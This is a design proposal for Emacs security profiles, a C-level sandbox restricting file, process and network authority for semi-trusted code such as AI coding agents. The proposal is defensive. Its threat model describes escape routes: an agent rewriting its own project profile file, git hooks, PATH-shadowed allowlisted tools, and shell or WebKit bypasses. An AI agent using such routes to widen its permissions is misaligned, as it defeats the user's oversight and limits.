Emacs Security Profiles: A Proposal
Table of Contents
- Abstract
- 1. Threat Model
- 2. High-Level Solution
- 3. Detailed Implementation
- 3.1 Core Profile Infrastructure
- 3.2 File Read and Metadata Enforcement
- 3.3 File Write and Mutation Enforcement
- 3.4 Process Execution Enforcement
- 3.5 Network Enforcement
- 3.6 Path Normalization and Root Matching
- 3.7 TRAMP Path Matching
- 3.8 Toolkit and GUI Boundaries
- 3.9 Lisp Layer
- 3.10 Summary and Complexity Estimate
- 3.11 Introspection, Diagnostics, and Auditability
- 3.12 Key Risk Areas
- 4. Critiques and Open Design Questions
- 5. Two Threat Models: Ratchet and Scoped Profile
- 6. Subprocess Isolation
Abstract
This document proposes a small, practical security model for Emacs that restricts four forms of authority — file reads, file writes, subprocess execution, and network access — enforced at C-level primitive boundaries. The model is deliberately limited in scope: it is an Emacs-semantic sandbox, not an OS-level sandbox. Its purpose is to make common risky workflows safer by reducing ambient authority in a way that is understandable, auditable, and implementable without invasive changes to the Emacs core.
Three constructs are offered, defending different threat models at
different operational costs: a permanent session-wide ratchet for
adversarial code, a scoped with-security-profile for incidental misuse
within an otherwise trusted session, and with-restricted-emacs for
running adversarial code in an isolated child process while leaving the
parent session unrestricted.
1. Threat Model
1.1 Emacs Has Broad Ambient Authority
Emacs Lisp currently runs with the full authority of the user who started
Emacs. Once any Lisp code executes — whether from a package, an Org Babel
block, an AI coding agent, an eval call, or a .dir-locals.el file — it
can, without any restriction:
- Read any file the user can read, including
~/.ssh/,~/.authinfo, and~/.gnupg/. - Write or delete any file the user can write.
- Execute arbitrary external programs.
- Open network connections to any host.
- Redefine Emacs functions and install persistent hooks, advice, and timers.
- Exfiltrate data by combining any of the above.
This is not a bug; it is the design of a general-purpose editor. The problem arises when Emacs is asked to run code that is not fully trusted: a package being reviewed before installation, an AI agent editing a project, an Org file with executable code blocks, or a script performing macro expansion for analysis.
1.2 What This Proposal Addresses
The threat is incidental or deliberate misuse of Emacs authority by semi-trusted code. The relevant use cases are:
- An AI coding agent that should be able to edit files in the current project
but must not read
~/.authinfoor open network connections. - An Org file opened for reading that should not be able to execute shell commands or phone home.
- A package being inspected before loading that should not be able to modify user configuration or start processes.
- Macro expansion and Lisp analysis tools that should read project files but must not write or execute anything.
- Project-local build and test workflows that execute commands but must not reach outside the project directory.
1.3 What This Proposal Does Not Address Yet
The following are explicitly out of scope for the first version:
- Full hostile-code containment. A sufficiently determined and knowledgeable attacker with arbitrary Lisp execution can always find gaps.
- OS-level sandboxing. Syscall filtering, namespace isolation, and capability-dropping belong at the process level (e.g. via seccomp or Bubblewrap), not inside Emacs.
- Restricting toolkit-internal I/O (fontconfig caches, WebKit network activity, D-Bus calls) performed by linked native libraries or embedded native subsystems.
- Providing general security guarantees for arbitrary native modules, dynamic libraries, or in-process components that do not route their authority through the Emacs core primitives. Such components must be audited on their own; their safety is the responsibility of the user, packager, or distributor.
- Per-function or per-package fine-grained policy. Emacs Lisp does not
provide a robust security identity that can be attached to executable
objects at acceptable cost. Function definitions are mutable, may be
replaced with
defun,fset,defalias, advice, or generic-function machinery, and are not permanently tied to a package of origin. Executable code may also appear as anonymous lambdas or plain list structure evaluated later, copied between variables, buffers, hooks, keymaps, and timers, or reconstructed by macro expansion. A security model that followed code by package or Lisp-object identity would therefore require pervasive provenance tracking and write barriers across ordinary Lisp mutation, which is far beyond the scope of this proposal. - Network host allowlists.
- Control over subprocess behaviour after launch, including configuration files, environment variables, shared libraries, or subsequent filesystem and network access by the child process. Once a subprocess is started, its internal authority is outside the guarantee of this model.
- Authorization of stable underlying filesystem objects rather than exposed paths. This proposal grants authority over paths presented under exposed roots, not over an immutable object identity. If a path inside an exposed root is rebound by symlinks, junctions, reparse points, or concurrent filesystem mutation, the resulting access is still interpreted according to the exposed-root model.
The intended guarantee is:
This is an Emacs-level security profile for restricting ordinary Emacs authority. It is not, by itself, a complete hostile-code OS sandbox.
This section is the canonical place to record operations, subsystems, and threat classes that remain outside the model's coverage as the design evolves.
Note also that :read-folders and :write-folders are treated as exposed
directory trees rather than containment proofs — symlinks, junctions, and
similar escape paths under an exposed root are considered part of the
authority the user has granted. See 2.1 Four Capabilities for the
exposed-root semantics.
2. High-Level Solution
2.1 Four Capabilities
The model exposes four coarse capabilities:
| Capability | Controls |
|---|---|
:read-folders |
Additional filesystem roots exposed to restricted |
| Emacs code for reading and metadata queries only. | |
:write-folders |
Filesystem roots exposed for both reading and |
mutation. nil denies all filesystem mutation. |
|
:execute |
Whether Emacs may create subprocesses. t allows |
any subprocess (compatibility), nil denies all |
|
| subprocess creation, a list names the allowed tools. | |
:network |
Whether Emacs may open network or socket connections, |
| and if so which classes of endpoints are allowed. |
The mental model for :read-folders and :write-folders is closer to a
Docker bind mount than to a containment proof: an allowed root is a
directory tree the user intentionally exposes to restricted Emacs code,
not a guarantee that every reachable object is physically contained
beneath that root. Symbolic links, junctions, reparse points, bind
mounts, and similar escape paths under an exposed root are considered
part of the authority granted by that root; users are responsible for
ensuring exposed roots do not contain unintended escape routes. The same
rule applies to TRAMP roots: granting /ssh:host:/path/ exposes that
remote path domain under the same model.
Write authority implies read authority for the same root. A directory that
should be read and written, such as an ordinary project root, belongs only in
:write-folders. :read-folders is for additional read-only roots, such as
reference material, selected cache directories, or configuration files that a
workflow may inspect but must not modify. The effective read set is the union
of :read-folders and :write-folders.
The unrestricted starting profile is therefore naturally represented as
:read-folders nil and :write-folders t: all files are readable because all
files are writable. A read-only profile uses :write-folders nil and lists
its readable roots in :read-folders.
The :execute capability is separate from the folder policies. The folder
policies define which workspace roots Emacs may access directly. The
execution policy defines whether Emacs may launch subprocesses, and if so
which tools may be launched. It has three modes:
t— compatibility mode. Any subprocess may be launched. This matches the historical behaviour of Emacs and is the unrestricted starting value.nil— no subprocesses may be launched at all. Appropriate for edit-only or passive-reading sessions.- A list of program names — only the listed tools may be launched. Anything else is denied.
The list form is the intended setting for the most common semi-trusted
workflows: an AI editing agent that needs to run cargo test and rustfmt
but nothing else; a build session that needs make, gcc, and git but no
arbitrary shell tools; an Org file that may invoke a small set of analysis
tools. The allowlist is matched against the program name Emacs is being asked
to launch, after the same normalization used elsewhere for paths (see
3.6 Path Normalization and Root Matching). Matching semantics, and the
limitations users should be aware of when relying on the list form, are
discussed in 3.4 Process Execution Enforcement.
When a subprocess is started, its current working directory must lie within
the effective read set, but the executable itself need not. This matches the
common case of invoking standard tools such as make, python, or git
while working inside an exposed project tree.
Once a subprocess has been launched, it is no longer governed by the Emacs
security profile. Its configuration files, environment variables, shared
libraries, and subsequent filesystem or network activity are outside the
guarantee of this model. In particular, an allowlisted :execute entry only
constrains what Emacs launches; it makes no statement about what the launched
program then does.
The :network capability should follow the same pattern as :execute:
nil denies all network or socket creation, t allows it unconditionally,
and restricted policies may allow only specific endpoint classes. The most
useful restricted classes are:
- loopback or localhost connections,
- Unix-domain or local IPC sockets,
- a small allowlist of named remote hosts.
Checks are performed when Emacs creates the connection. The policy governs the target that Emacs is attempting to open, not the higher-level protocol semantics that may run over the connection afterward.
A fully restricted profile looks like:
(:read-folders ("/home/user/src/project/")
:write-folders nil
:execute nil
:network nil)
A profile for an AI editing agent that needs to run tests and a formatter looks like:
(:read-folders nil
:write-folders ("/home/user/src/project/")
:execute ("cargo" "rustfmt" "git")
:network nil)
A stricter profile for an AI agent that should only edit and not run anything looks like:
(:read-folders nil
:write-folders ("/home/user/src/project/")
:execute nil
:network nil)
2.2 Enforcement at C Primitive Boundaries
Lisp-level enforcement — wrappers, advice, redefined functions — is not a reliable security boundary. Emacs Lisp is mutable and reflective; any wrapper can be bypassed by redefining the wrapper itself.
Enforcement must happen in C, at the point where Emacs actually performs the
privileged operation: opening a file descriptor, calling fork~/~exec,
creating a socket. Most Emacs functionality routes through a small number of
such primitives. Checking at those points means that all higher-level Lisp
functions — find-file, shell-command, url-retrieve, and everything built
on top of them — are covered automatically.
The C layer provides four check functions:
emacs_security_check_file (SEC_READ, filename); emacs_security_check_file (SEC_WRITE, filename); emacs_security_check_process (program, args); emacs_security_check_network (host, service);
Each check reads the current session profile and signals a new
security-denied condition if the operation is not permitted. Normal Emacs
operation is completely unaffected when no restriction has been set.
2.3 The Ratchet Model
The profile is a single session-global value. It starts fully unrestricted. Any code, mode hook, or init file may tighten it by calling a restriction function. Tightening is permanent and irreversible for the lifetime of the process. No code can widen the profile once it has been tightened.
;; In a session dedicated to passive Org reading: (restrict-read-folders default-directory) (restrict-write-folders) (restrict-execute) (restrict-network) ;; In a session running an AI editing agent that needs a test runner ;; and a formatter: (restrict-write-folders default-directory) (restrict-execute "cargo" "rustfmt" "git") (restrict-network) ;; After either call, the restrictions apply for the rest of the session.
This one-way ratchet is one of three constructs the proposal offers,
alongside the scoped with-security-profile (see 3.9 Lisp Layer) and
subprocess isolation (see 6. Subprocess Isolation). Their respective
threat models and use cases are compared in 5. Two Threat Models: Ratchet and Scoped Profile.
2.4 Relationship to Existing Seccomp Support
Emacs already has GNU/Linux seccomp support (--seccomp=FILE, implemented
in src/emacs.c and lib-src/seccomp-filter.c). That mechanism loads a
BPF filter at startup that restricts syscalls for the entire process. It is
process-wide, startup-time, not aware of Emacs Lisp semantics, and not
portable beyond Linux.
The proposed model is complementary, not a replacement:
| Feature | seccomp support | This proposal |
|---|---|---|
| Enforcement level | Syscall | Emacs primitive |
| Dynamic (callable mid-session) | No | Yes |
| Folder allowlist | No | Yes |
| Project/directory aware | No | Yes |
| Integrated with Lisp evaluation | No | Yes |
| Portable beyond Linux | No | Potentially yes |
The two can be combined: a restricted Emacs session could load a seccomp filter at startup (coarse OS-level enforcement) and also call the tightening API (fine-grained Emacs-semantic enforcement).
2.5 Suggested Named Profiles
Profile design should not assume that a single project root is always sufficient. In practice, many legitimate workflows need several exposed roots, such as:
- a project tree,
- a build or temporary directory,
- selected cache directories,
- selected configuration or credential files when the workflow truly requires them.
The design goal should therefore be to make multi-root profiles natural and
easy to inspect, rather than treating default-directory as the only normal
case.
| Name | :read-folders |
:write-folders |
:execute |
:network |
|---|---|---|---|---|
unrestricted |
nil |
t (anywhere) |
t |
t |
passive-org |
(:current-dir) |
nil |
nil |
nil |
project-edit |
nil |
(:current-dir) |
nil |
nil |
project-agent |
nil |
(:current-dir) |
tool allowlist | nil |
project-build |
nil |
(:current-dir) |
t |
nil |
pkg-review |
(:temp-pkg-dir) |
nil |
nil |
nil |
The project-agent profile is intended for AI coding agents and similar
semi-trusted workflows that must edit a project tree and run a known,
project-appropriate set of tools (test runners, formatters, build drivers,
git) but should not be able to launch arbitrary subprocesses. The
allowlist is workflow-specific and should be supplied by the user or by a
language-aware helper rather than baked into the profile definition.
Note that project-build with :execute t and :network nil only prevents
Emacs-level network access. Subprocesses may still open network
connections; preventing that requires OS-level sandboxing. The same caveat
applies, more weakly, to project-agent: an allowlisted tool is still free
to perform network I/O of its own once launched. :network nil is therefore
an Emacs-level guarantee, not a containment guarantee for subprocess
behaviour.
2.6 Project Profile Recommendations and User-Level Approval
The ratchet's main operational cost is that the user has to remember to apply it. A user who opens a project tree and starts editing has no obvious prompt to tighten the profile, and the ratchet only protects against the risks it is configured to protect against. Some mechanism for associating a profile with a project is therefore essential, but the obvious design — "the project ships a policy file in its own tree" — is unsafe in a way that deserves careful treatment.
2.6.1 Why the Project Cannot Be the Authority
A profile file at the project root, say .dir-locals-security, would be
located inside a directory that is almost certainly in the project's
:write-folders. This produces three independent failure modes:
- The agent the profile is meant to constrain can edit the profile itself.
An agent granted
:write-folders ("./")has write access to every file under the project root, including the file that declares its restrictions. The agent rewrites the file, asks the user to "reload project settings," and the constraint is gone. - Ordinary tools — formatters, refactoring scripts, an inattentive edit — can modify the file by accident. Nothing distinguishes it from any other configuration file in the tree.
- Version control can swap the file under the user's feet. A
git pull, a branch checkout, or a merge can change the declared profile without any user interaction. If Emacs re-applies on change, the user's authority level shifts as a side effect of routine version-control operations.
The deeper issue is one of who has the authority to declare a project's profile. A project cannot bootstrap its own trust: the policy is exactly the thing that decides how much to trust the project, so trusting the project to declare it is circular. Anyone with commit access — or anyone who gets a pull request merged, or who has compromised an upstream dependency — would otherwise be able to set it. The project-local file can therefore only be a recommendation, not authority.
2.6.2 The Recommendation-and-Approval Model
The authority for what profile applies to a project lives in the user's
own Emacs configuration, outside any directory the project might write to.
The proposed location is $XDG_CONFIG_HOME/emacs/security-profiles.eld
(falling back to ~/.config/emacs/security-profiles.eld), a data-only
file managed entirely by Emacs through the same restricted parser used for
project-shipped files. Its contents are a mapping from canonicalized
project root paths to approved profiles, together with a hash of the
project-shipped recommendation file at the moment of approval.
The flow is:
- The user visits a file under a project root.
- Emacs looks up the canonicalized root in
security-profiles.eld. If a profile is recorded there, that profile is applied (with the level of automation governed by a user preference: silent, prompt-on-first-visit, or prompt-every-time). - If no profile is recorded but the project tree contains a
recommendation file (
.security-recommended.eldat the root), Emacs reads the recommendation, resolves any keyword references it contains against the user's currentsecurity-tool-groups(see 2.7 Named Tool Groups), and displays both the symbolic form as written in the file and the resolved concrete form. The user is asked whether to record the resolved form as the approved profile for this project. The user can accept, reject, or modify the resolved form before recording; the entry written tosecurity-profiles.eldcontains the concrete program names, not the keywords. - If neither is present, Emacs does nothing. No profile is applied.
The recommendation file is named differently from any historical
.dir-locals family on purpose: the new name signals that it is not
automatically authoritative, that it is read by a restricted parser, and
that the project shipping the file does not get to decide what authority
Emacs grants it. Some plausible names are .security-recommended.eld
(used above) or SECURITY-PROFILE.eld; the file extension .eld is
Emacs's emerging convention for data-only Lisp.
The recorded entry in security-profiles.eld includes the hash of the
recommendation file at approval time. If the project later changes its
recommendation, the hash no longer matches; the user is shown a diff
between the previously approved profile and the new recommendation and
asked whether to re-approve. Routine git pull or branch checkout does
not silently change the active profile; it produces a visible prompt at
the next project visit.
2.6.3 The Recommendation File Itself
Both files use the same restricted parser, accepting only a literal plist of the four-keyword shape:
;; .security-recommended.eld — shipped in the project tree
(:read-folders nil
:write-folders ("./")
:execute (:emacs-defaults "cargo" "rustfmt" "rust-analyzer")
:network nil)
The parser uses read in a mode that rejects anything other than a plist
with the four expected keywords and values of the expected shapes. For
:execute the accepted values are t, nil, or a list whose elements
are either strings (literal program names) or keywords (group references
resolved against security-tool-groups at activation or approval time;
see 2.7 Named Tool Groups). No function calls, no backquoted forms,
no symbols outside the known keyword set, no #. reader macros. This is
the same parser used for security-profiles.eld except that entries
recorded in security-profiles.eld are always already-resolved concrete
program names — the resolution happens at approval time, never at file
read time.
2.6.4 In-Session Tampering Defense
Even with the user-level authority model, one defense is worth keeping for
defense in depth. When a profile is applied that was derived from
security-profiles.eld, the path of security-profiles.eld itself is
implicitly excluded from any :write-folders root that would otherwise
contain it. This is a no-op in normal use (the file lives in the user's
config directory, which is rarely in any project's :write-folders) but
prevents the corner case where a user does grant write access to a parent
directory that happens to contain the config file. The same exclusion
applies to the project-shipped .security-recommended.eld: even though
the user is not bound by its current contents during the session, the
file is excluded from the effective write set so that an in-session agent
cannot rewrite the recommendation that the user will see at next visit.
2.6.5 Interaction with Subprocess Isolation
Profile recommendations compose naturally with with-restricted-emacs
(see 6. Subprocess Isolation): the approved profile recorded in
security-profiles.eld for a given project is the default profile passed
to with-restricted-emacs when no explicit profile argument is supplied
and the working directory lies under that project. The same user-level
authority applies — the child inherits a profile the user has approved,
not one the project has shipped unreviewed.
2.6.6 What This Design Does Not Prevent
A user who blindly accepts every recommendation gets no protection from
this mechanism; the design assumes the user reviews the displayed profile
before approving it, at least the first time. An attacker who compromises
the user's home directory can edit security-profiles.eld directly,
since the file is data the user owns; defending against an attacker with
arbitrary access to the user's home directory is outside the scope of any
in-process security model and belongs to OS-level controls. Within those
limits, the design ensures that:
- The project being constrained cannot set its own constraints.
- Routine project mutation (agents, tools, version control) cannot alter the active profile.
- Changes to the project-shipped recommendation are visible at next visit rather than silently applied.
2.7 Named Tool Groups
Enumerating every executable Emacs's built-in features may invoke is
tedious and error-prone. A user who wants a strict but functional profile
needs grep, diff, find, the configured spell-checker, the configured
version-control backend, and a few others — a list that is largely the
same across users but slightly customized per setup. Discovering it one
security-denied at a time is workable in audit mode but unpleasant.
The proposal introduces a single user-customizable alist
security-tool-groups that associates keyword tags with lists of program
names. The variable ships with Emacs containing sensible defaults and is
freely modified in init.el. A typical default value:
(setq security-tool-groups
'((:text-processing . ("grep" "egrep" "fgrep" "diff" "diff3"
"patch" "find" "sort" "uniq" "wc"))
(:compression . ("gzip" "gunzip" "xz" "bzip2" "tar"))
(:version-control . ("git" "hg" "svn"))
(:spell-check . ("aspell" "hunspell"))
(:documentation . ("man" "info"))
(:emacs-defaults . (:text-processing :compression :version-control
:spell-check :documentation))))
Groups may themselves reference other groups by keyword, as
:emacs-defaults does above. Resolution flattens these references
recursively; a cycle is a hard error at resolution time.
A profile's :execute list may mix keywords and literal program names:
(:read-folders nil
:write-folders ("./")
:execute (:emacs-defaults "cargo" "rustfmt" "rust-analyzer")
:network nil)
When the profile is activated — by restrict-to, by
with-security-profile, or by approval into security-profiles.eld —
each keyword in :execute is resolved against the current value of
security-tool-groups, the references are flattened, the result is
deduplicated and sorted, and the resulting concrete list is what the C
layer installs. Subsequent mutations of security-tool-groups never
affect an already-active profile. This is the security-critical
invariant: a profile, once activated, is independent of the variable it
was built from.
The same rule applies to project recommendations. When
.security-recommended.eld is read for user approval, both the symbolic
form and the resolved concrete list are displayed. The user approves the
resolved form; the entry recorded in security-profiles.eld contains
the concrete program names, not the keywords. Subsequent changes to
security-tool-groups in the user's init.el cannot retroactively widen
the approved profile, and changes to the project's
.security-recommended.eld produce a re-approval prompt as described in
2.6.2 The Recommendation-and-Approval Model.
Unknown keywords — keywords that do not appear as keys in
security-tool-groups at resolution time — signal a hard error. Silent
fallback (treating an unknown keyword as the empty list, for example)
would let a typo in a project recommendation produce a profile the user
did not intend. The error message names the unknown keyword and the
profile context in which it appeared.
What security-tool-groups Is Not
security-tool-groups is a declarative convenience, not a security
classification. It documents which programs Emacs's own built-in features
invoke; it does not assert that those programs are safe to allow. git
is grouped under version control because Emacs needs it for VC backends,
not because git is incapable of re-introducing arbitrary authority (it
is: core.hooksPath, core.sshCommand, alias expansion, and similar
features all execute arbitrary commands or reach the network). The same
caveat applies, more or less strongly, to every entry. Allowlisting a
tool is a decision the user makes; the group mechanism only saves them
from enumerating the names. The variable's docstring and manual entry
must surface this framing explicitly so that :emacs-defaults is never
read as a maintainer endorsement.
3. Detailed Implementation
This section maps each capability to the specific C source files and functions that require modification, with line references to the current source tree.
3.1 Core Profile Infrastructure
New files and data structures
The following must be built from scratch:
| Item | Location | Notes |
|---|---|---|
emacs_security_profile C struct |
New src/security.c + .h |
Execute policy as tagged enum (ALL, NONE, or |
| allowlist) with a C array of normalized program | ||
| names; network policy similarly; read-only and | ||
| read-write folder lists as C arrays of | ||
| canonicalized strings | ||
| Session-global ratchet profile | src/security.c |
One global variable; the floor for all checks |
| Scoped overlay profile | src/security.c |
Optional second profile applied on top of the |
ratchet floor; managed via specbind~/~unbind_to |
||
emacs_security_tighten(profile) |
src/security.c |
Ratchet mutation: intersects with current floor; |
| irreversible | ||
emacs_security_push_overlay(p) |
src/security.c |
Scoped tightening: pushes an overlay via specbind, |
| restored on unwind | ||
emacs_security_check_file(op,path) |
src/security.c |
Checks read and write folder lists against the |
| effective profile (floor + overlay); signals | ||
security-denied |
||
emacs_security_check_process(prog) |
src/security.c |
Checks :execute flag against effective profile |
emacs_security_check_network(h,s) |
src/security.c |
Checks :network flag against effective profile |
Qsecurity_denied + condition type |
src/lisp.h + src/eval.c |
New Lisp condition, analogous to Qfile_error |
| Lisp API | New lisp/security.el |
Ratchet: restrict-execute, restrict-network, |
restrict-read-folders, restrict-write-folders, |
||
restrict-to, named profiles. Scoped: |
||
with-security-profile |
The effective profile at any check point is the intersection of two layers:
the session-global ratchet floor, which can only tighten over the lifetime
of the process, and an optional overlay pushed by with-security-profile,
which is managed through the ordinary specbind~/~unbind_to unwind protocol
and restored on scope exit (normal or non-local). The overlay can only
tighten the floor; widening is rejected at push time.
The folder lists are stored as plain C arrays of canonicalized char *
strings rather than Lisp objects, so GC visibility is not a concern and the
pdumper needs no changes. The overlay state is held as a Lisp-visible value
in a session variable so that specbind can manage it; the C check
functions read both layers and compute the effective profile per call.
Tightening :write-folders may reduce both mutation authority and effective
read authority, since write folders imply read access. Tightening
:read-folders only affects the additional read-only roots.
Estimated size: 500–750 new lines across ~src/security.c, src/security.h,
src/lisp.h, and lisp/security.el. The overlay machinery and
with-security-profile account for roughly 100–150 of the additional
lines over the ratchet-only design.
3.2 File Read and Metadata Enforcement
Files: src/fileio.c, src/dired.c, src/lread.c
The effective read set — the union of :read-folders and :write-folders —
must be checked before any read or metadata operation. The following are the
enforcement points:
| C function | File | Line | Lisp primitive |
|---|---|---|---|
Finsert_file_contents |
fileio.c |
4057 | insert-file-contents |
Ffile_exists_p |
fileio.c |
3010 | file-exists-p |
Ffile_readable_p |
fileio.c |
3032 | file-readable-p |
Ffile_executable_p |
fileio.c |
3022 | file-executable-p |
Ffile_writable_p |
fileio.c |
3040 | file-writable-p |
Ffile_directory_p |
fileio.c |
3185 | file-directory-p |
Ffile_regular_p |
fileio.c |
3359 | file-regular-p |
Ffile_symlink_p |
fileio.c |
3162 | file-symlink-p |
Faccess_file |
fileio.c |
3078 | access-file |
Ffile_attributes |
dired.c |
953 | file-attributes |
Fdirectory_files |
dired.c |
379 | directory-files |
Fdirectory_files_and_attributes |
dired.c |
407 | directory-files-and-attributes |
Fload |
lread.c |
1068 | load |
TRAMP interaction: every one of these functions calls
Ffind_file_name_handler early and may dispatch to a TRAMP handler before
performing local I/O. The security check must happen before that dispatch.
A new predicate emacs_filename_is_remote(filename) — detecting the
/method:host:path pattern — should be called first and signal
security-denied immediately for any remote path under a restricted profile.
Metadata oracle: a denied file-exists-p or file-attributes call must
signal security-denied rather than returning nil. Returning nil would
allow an attacker to distinguish "does not exist" from "access denied" by
comparing with unrestricted behaviour. This change will break defensive
patterns like (when (file-exists-p f) ...) in package code and must be
documented.
Estimated size: ~100–130 lines of check insertions across the three files.
3.3 File Write and Mutation Enforcement
File: src/fileio.c
Filesystem mutation is allowed only inside the :write-folders roots. When
:write-folders is nil, all filesystem mutation is denied. A
:write-folders entry also contributes to the effective read set, so ordinary
read-write project roots do not need to be listed twice.
| C function | File | Line | Lisp primitive |
|---|---|---|---|
write_region (shared) |
fileio.c |
5511 | write-region, append-to-file |
Fdelete_file_internal |
fileio.c |
2602 | delete-file |
Frename_file |
fileio.c |
2724 | rename-file (source and destination) |
Fcopy_file |
fileio.c |
2252 | copy-file (destination, possibly src) |
Fmake_directory_internal |
fileio.c |
2562 | make-directory |
Fdelete_directory_internal |
fileio.c |
2583 | delete-directory |
Fset_file_modes |
fileio.c |
3666 | set-file-modes |
Fset_file_times |
fileio.c |
3741 | set-file-times |
Fmake_symbolic_link |
fileio.c |
2907 | make-symbolic-link |
Fmake_temp_file_internal |
fileio.c |
767 | make-temp-file-internal |
write_region is the shared implementation behind both Fwrite_region and
the auto-save path at fileio.c:811; a single write-folder check there covers
both. Frename_file involves two mutation paths, so both source and
destination must be inside :write-folders. Fcopy_file reads from its
source and mutates its destination, so the source must be inside the effective
read set and the destination inside :write-folders.
Estimated size: 80–100 lines of check insertions in ~fileio.c.
3.4 Process Execution Enforcement
Files: src/callproc.c, src/process.c
Both synchronous and asynchronous subprocess creation must be gated by the
:execute policy.
| C function / entry point | File | Line | Route |
|---|---|---|---|
emacs_spawn (def. callproc.c:1441) |
callproc.c |
1441 | Called by call_process |
create_process → emacs_spawn |
process.c |
2160 / 2288 | Called by Fmake_process |
Both synchronous (call-process, call-process-region) and asynchronous
(make-process, start-process) paths call emacs_spawn, which is defined
in callproc.c but also invoked from process.c. The check should be
placed just before the emacs_spawn call in each file, where the program
name is still a Lisp_Object.
The check has two parts:
The
:executepolicy must allow the requested tool. The three modes are:t— any subprocess is permitted (compatibility / unrestricted).nil— no subprocess is permitted.- A list of program names — only listed tools are permitted.
For the list form, matching is performed against the program name Emacs is being asked to launch (the
Lisp_Objectavailable at the call site, resolved to a string). The matching rules are:- If the entry contains no path separator (e.g.
"git","cargo"), it matches by basename. The launched program's basename, after stripping any platform-specific executable suffix (.exeon Windows), is compared to the entry under platform-appropriate case semantics (case-insensitive on macOS and Windows; case-sensitive on GNU/Linux). - If the entry contains a path separator, it is treated as an absolute or
relative path, normalized via
emacs_normalize_security_path(see 3.6 Path Normalization and Root Matching), and matched exactly against the normalized launched program path. - The matching does not resolve symbolic links and does not consult
PATHa second time; it matches the program string as Emacs received it after its ownPATHresolution.
- The subprocess current working directory must lie within a root in the effective read set, or within a descendant of such a root.
The executable path itself is evaluated against :execute, not against the
folder policies. This allows a restricted Emacs session working in a project
tree to invoke tools installed elsewhere on the system. After launch, the
child process is outside the Emacs security model; this mechanism does not
constrain its subsequent file, process, or network behaviour.
Known limitations of basename matching. Basename allowlists are convenient
but defeatable by an attacker who can place a file named git earlier on
PATH, or who can persuade Emacs to call shell-command with a string that
embeds an allowlisted name as a literal substring. The allowlist form is
intended as a workflow-shaping mechanism — preventing an AI agent or a
build script from invoking unexpected tools — not as a robust containment
boundary against an adversary with arbitrary Lisp execution. Users who need
stronger guarantees should combine the allowlist with absolute-path entries
and with OS-level sandboxing.
Shell invocations. shell-command, start-process-shell-command, and
call-process-shell-command launch the configured shell (typically /bin/sh
or cmd.exe) and pass the user's command string as an argument. Under the
list form of :execute, this means the shell must be on the allowlist, not
the tools the shell then invokes. Allowing the shell effectively allows
anything the shell can launch from within the running process and is rarely
what the user intends.
For this reason, restrict-execute rejects common shell names by default
and requires an explicit :allow-shell t keyword argument to add one (see
3.9 Lisp Layer). Users who genuinely need shell-command in a
restricted profile must opt in deliberately and should understand that the
resulting profile constrains only which process Emacs spawns directly, not
what that shell then runs.
Windows: src/w32proc.c provides its own spawn path (w32_spawn_commands)
and src/w32fns.c at line 8679 exposes w32-shell-execute which calls
ShellExecuteW directly, bypassing callproc.c entirely. Both sites need
separate :execute checks.
Estimated size: 30–50 lines across ~callproc.c, process.c, and w32fns.c.
3.5 Network Enforcement
File: src/process.c
| C function | File | Line | Lisp primitive |
|---|---|---|---|
Fmake_network_process |
process.c |
3798 | make-network-process, open-network-stream |
open-network-stream (lisp/net/network-stream.el) is implemented in Lisp
and ultimately calls make-network-process, so the single C check covers
both. GnuTLS (gnutls-boot, src/gnutls.c:1915) wraps an existing
process connection and does not open new sockets, so it is covered implicitly.
The network check should follow the same general structure as the process
check. The broadest mode is :network t, which allows any connection.
Restricted modes should allow a small set of useful cases such as:
- loopback / localhost only,
- Unix-domain or other local IPC sockets,
- an allowlist of named remote hosts.
The check happens at connection creation time in Fmake_network_process.
This ensures that higher-level facilities such as redirects are naturally
re-checked when they open a new connection. Matching is performed against the
target Emacs is asked to connect to. Hostnames supplied by the caller are
matched as hostnames; numeric addresses may be matched separately if such a
policy is later added. Unix sockets should be treated as a distinct endpoint
class, not lumped together with general outbound networking.
xwidget bypass: xwidget-webkit-goto-uri (src/xwidget.c:3104) calls
webkit_web_view_load_uri via the WebKit C API, completely bypassing
make-network-process. This site must also be gated when :network nil.
The macOS path nsxwidget_webkit_goto_uri is a separate call site requiring
the same treatment.
Estimated size: 30–60 lines in ~process.c; 10 lines in ~xwidget.c.
3.6 Path Normalization and Root Matching
File: src/fileio.c (new helper)
In this proposal variant, the :read-folders and :write-folders checks are
exposed-root policies rather than true containment proofs. The implementation
therefore needs a stable and platform-aware path normal form for matching
operations against the configured roots, but it does not attempt to prove that
all reachable files remain physically contained beneath those roots after
symlink or junction resolution.
Fexpand_file_name (fileio.c:994) performs textual normalisation
(collapsing //, ., ..). A helper should additionally provide
platform-aware comparison semantics, including case-folding where needed and
normalisation of Windows drive-letter and UNC-path forms.
A new helper emacs_normalize_security_path must:
- Call
Fexpand_file_namefor textual normalisation. - Produce a comparison form suitable for prefix or root matching.
- Handle platform-specific path semantics: case-insensitive comparison on macOS and Windows; drive letters and UNC paths on Windows.
- Optionally cache normalized results for efficiency.
This helper does not attempt to eliminate all symlink, junction, reparse point, or submount escapes. Those remain outside the guarantee of the folder-root model in this document and should be stated as such in 1.3 What This Proposal Does Not Address Yet and 2.1 Four Capabilities.
For the same reason, the implementation is not trying to guarantee that a checked pathname continues to denote a stable underlying filesystem object until the operation completes. The model authorizes by exposed path, not by immutable object identity.
Estimated size: ~120–220 new lines for the helper, called at each of the ~20 enforcement points in sections 3.2 and 3.3.
3.7 TRAMP Path Matching
Files: src/fileio.c, src/dired.c, src/lread.c
TRAMP paths should be governed by the same :read-folders and
:write-folders root-matching policies as local paths. Read and metadata
operations check the effective read set; mutation checks :write-folders. If
a user includes a TRAMP root in the relevant policy, access to paths under
that root is permitted. If not, it is denied.
Every file primitive calls Ffind_file_name_handler early; the TRAMP handler
may intercept before any local I/O occurs. The security check must therefore
happen before handler dispatch, but it should enforce root matching rather
than blanket remote-path denial. TRAMP paths are identified by the pattern
/method:host:path or the /: no-op prefix. Funhandled_file_name_directory
(fileio.c:575) is related but is not sufficient as a security boundary.
Estimated size: ~30–60 lines total, mostly one-line additions to each enforcement point.
3.8 Toolkit and GUI Boundaries
Some authority-granting operations bypass the four core C primitives entirely:
| Call site | File | Line | Capability gate |
|---|---|---|---|
ShellExecuteW via w32-shell-execute |
src/w32fns.c |
8679 | :execute |
webkit_web_view_load_uri (GTK) |
src/xwidget.c |
3104 | :network |
nsxwidget_webkit_goto_uri (macOS) |
Obj-C backend files | — | :network |
GetOpenFileNameW return value |
src/w32fns.c |
8481 | effective-read check on returned path |
| Drag-and-drop file paths | GTK/W32/NS event handlers | — | effective-read check on received path |
